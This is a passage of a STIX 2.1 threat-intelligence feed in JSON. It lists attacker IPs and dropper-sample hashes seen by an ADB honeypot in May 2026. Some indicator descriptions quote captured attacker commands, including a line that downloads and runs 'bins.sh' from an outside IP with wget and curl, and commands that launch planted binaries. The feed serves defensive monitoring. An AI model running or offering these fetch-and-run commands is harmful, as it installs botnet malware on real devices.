      "pattern": "[ipv4-addr:value = '198.235.24.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T00:00:03.000Z",
      "valid_until": "2026-06-17T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 22,
          "first_seen": "2026-05-15T23:33:06.000Z",
          "last_seen": "2026-05-15T23:44:42.283Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-16T00:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/bd2155188ed000af5d690c7e9b53e7b9f3e4e67c7d1dc30590a8d8572b8112da.raw; last_seen=2026-05-15T23:43:18.161Z",
      "id": "indicator--85f50655-4d94-4df0-9133-6c87607f7791",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'bd2155188ed000af5d690c7e9b53e7b9f3e4e67c7d1dc30590a8d8572b8112da']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T00:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-16T01:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=AL; asn=197706; asn_org=Keminet SHPK; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-16T00:04:55.000Z | last_seen=2026-05-16T00:14:57.693Z | ports=5555 | cc=AL | asn=197706 | org=Keminet SHPK",
      "id": "indicator--8f9cbaca-3d30-4fb2-81d2-a5f084bf04c4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.124.165.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T01:00:11.000Z",
      "valid_until": "2026-06-17T01:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-16T00:04:55.000Z",
          "last_seen": "2026-05-16T00:14:57.693Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AL"
          ],
          "asn": [
            "197706"
          ],
          "org": [
            "Keminet SHPK"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-16T01:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=KW; asn=42961; asn_org=Mobile Telecommunications Company K.S.C.P.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-16T00:04:54.000Z | last_seen=2026-05-16T00:05:56.279Z | ports=5555 | cc=KW | asn=42961 | org=Mobile Telecommunications Company K.S.C.P.",
      "id": "indicator--9ce3c4cd-ae44-4196-804c-5686c8129863",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.37.46.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T01:00:11.000Z",
      "valid_until": "2026-06-17T01:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-16T00:04:54.000Z",
          "last_seen": "2026-05-16T00:05:56.279Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KW"
          ],
          "asn": [
            "42961"
          ],
          "org": [
            "Mobile Telecommunications Company K.S.C.P."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-16T06:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=61; ports=5555; cc=BN; asn=10094; asn_org=Unified National Networks; cats=Generic Protocol Command Decode; adb_cmd_hits=30; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=61 | first_seen=2026-05-16T05:31:00.000Z | last_seen=2026-05-16T05:43:10.860Z | ports=5555 | cc=BN | asn=10094 | org=Unified National Networks | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--11818b65-9d9d-4dec-8e03-fab500715671",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '119.160.136.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T06:00:03.000Z",
      "valid_until": "2026-06-17T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 61,
          "first_seen": "2026-05-16T05:31:00.000Z",
          "last_seen": "2026-05-16T05:43:10.860Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BN"
          ],
          "asn": [
            "10094"
          ],
          "org": [
            "Unified National Networks"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-16T06:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-16T05:29:02.000Z | last_seen=2026-05-22T08:23:09.963Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--fac7de62-a28c-4f49-be66-015409f7cfa7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T06:00:03.000Z",
      "valid_until": "2026-06-17T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-16T05:29:02.000Z",
          "last_seen": "2026-05-22T08:23:09.963Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-16T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=15 | first_seen=2026-05-16T06:15:21.000Z | last_seen=2026-05-16T06:26:04.667Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--330f320b-4f3c-48ba-9e6e-b15f4095b47a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T07:00:03.000Z",
      "valid_until": "2026-06-17T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 15,
          "first_seen": "2026-05-16T06:15:21.000Z",
          "last_seen": "2026-05-16T06:26:04.667Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-16T10:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=RO; asn=214295; asn_org=Skynet Network Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-16T09:02:18.000Z | last_seen=2026-05-16T09:03:19.070Z | ports=5555 | cc=RO | asn=214295 | org=Skynet Network Ltd",
      "id": "indicator--236d157c-aeca-4486-ab6a-4d4012223d88",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T10:00:01.000Z",
      "valid_until": "2026-06-17T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-16T09:02:18.000Z",
          "last_seen": "2026-05-16T09:03:19.070Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "214295"
          ],
          "org": [
            "Skynet Network Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-16T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=CA; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-16T10:13:44.000Z | last_seen=2026-05-16T10:24:02.259Z | ports=5555 | cc=CA | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--5353ebd4-9c96-4e70-90ad-e31996bb176a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.197.170.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T11:00:03.000Z",
      "valid_until": "2026-06-17T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-16T10:13:44.000Z",
          "last_seen": "2026-05-16T10:24:02.259Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-16T13:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://94.156.152.234/bins.sh; sh bins.sh; curl http://94.156.152.234/bins.sh; sh bins.sh; wget http://94.156.152.234/bins.sh;\"\n\nObserved in ADBHoney telemetry for 2026-05. events=15 | first_seen=2026-05-16T12:28:06.000Z | last_seen=2026-05-16T12:30:01.579Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--df479334-1b4b-4bbb-be8a-1ede47aba674",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T13:00:10.000Z",
      "valid_until": "2026-06-17T13:00:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 15,
          "first_seen": "2026-05-16T12:28:06.000Z",
          "last_seen": "2026-05-16T12:30:01.579Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-16T13:00:10.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/890f9f63dfa80674ded1caae9f88f9b6f0eb98c8ba8bebdf028898294c8f252a.raw; last_seen=2026-05-16T12:28:09.904Z",
      "id": "indicator--24bcdb43-e7a8-47d0-82e3-3aa864e0c04f",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '890f9f63dfa80674ded1caae9f88f9b6f0eb98c8ba8bebdf028898294c8f252a']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T13:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-16T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-16T14:39:57.000Z | last_seen=2026-05-16T14:41:02.436Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--ab64ad36-4563-48b9-ad0f-d65784ae043e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '171.35.129.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T15:00:02.000Z",
      "valid_until": "2026-06-17T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-16T14:39:57.000Z",
          "last_seen": "2026-05-16T14:41:02.436Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-16T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=RO; asn=214295; asn_org=Skynet Network Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-16T15:57:33.000Z | last_seen=2026-05-16T15:58:41.450Z | ports=5555 | cc=RO | asn=214295 | org=Skynet Network Ltd",
      "id": "indicator--1d925850-0ee5-4c8b-9342-1185ac885c64",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T16:00:02.000Z",
      "valid_until": "2026-06-17T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-16T15:57:33.000Z",
          "last_seen": "2026-05-16T15:58:41.450Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "214295"
          ],
          "org": [
            "Skynet Network Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-16T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=MN; asn=45204; asn_org=GEMNET LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-16T16:54:39.000Z | last_seen=2026-05-16T16:56:20.180Z | ports=5555 | cc=MN | asn=45204 | org=GEMNET LLC",
      "id": "indicator--f68deffc-e16a-4131-acf1-a1abfc2bb9de",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '180.149.125.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T17:00:02.000Z",
      "valid_until": "2026-06-17T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-16T16:54:39.000Z",
          "last_seen": "2026-05-16T16:56:20.180Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MN"
          ],
          "asn": [
            "45204"
          ],
          "org": [
            "GEMNET LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-16T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=MN; asn=45204; asn_org=GEMNET LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-16T17:11:28.000Z | last_seen=2026-05-16T17:21:38.993Z | ports=5555 | cc=MN | asn=45204 | org=GEMNET LLC",
      "id": "indicator--ac470611-90a8-43a5-8ef5-e268fe52eb83",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '180.149.126.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T18:00:02.000Z",
      "valid_until": "2026-06-17T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-16T17:11:28.000Z",
          "last_seen": "2026-05-16T17:21:38.993Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MN"
          ],
          "asn": [
            "45204"
          ],
          "org": [
            "GEMNET LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-16T19:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=64; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/log\"\n\nObserved in ADBHoney telemetry for 2026-05. events=64 | first_seen=2026-05-16T18:29:08.000Z | last_seen=2026-05-16T18:42:04.270Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone | related_hashes=608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971,7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865,d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--3e5ec754-87e4-47fe-9e41-9645612b44bf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.3.160.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T19:00:04.000Z",
      "valid_until": "2026-06-17T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 64,
          "first_seen": "2026-05-16T18:29:08.000Z",
          "last_seen": "2026-05-16T18:42:04.270Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ],
          "related_hashes": [
            "608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971",
            "7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865",
            "d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-17T00:00:15.000Z",
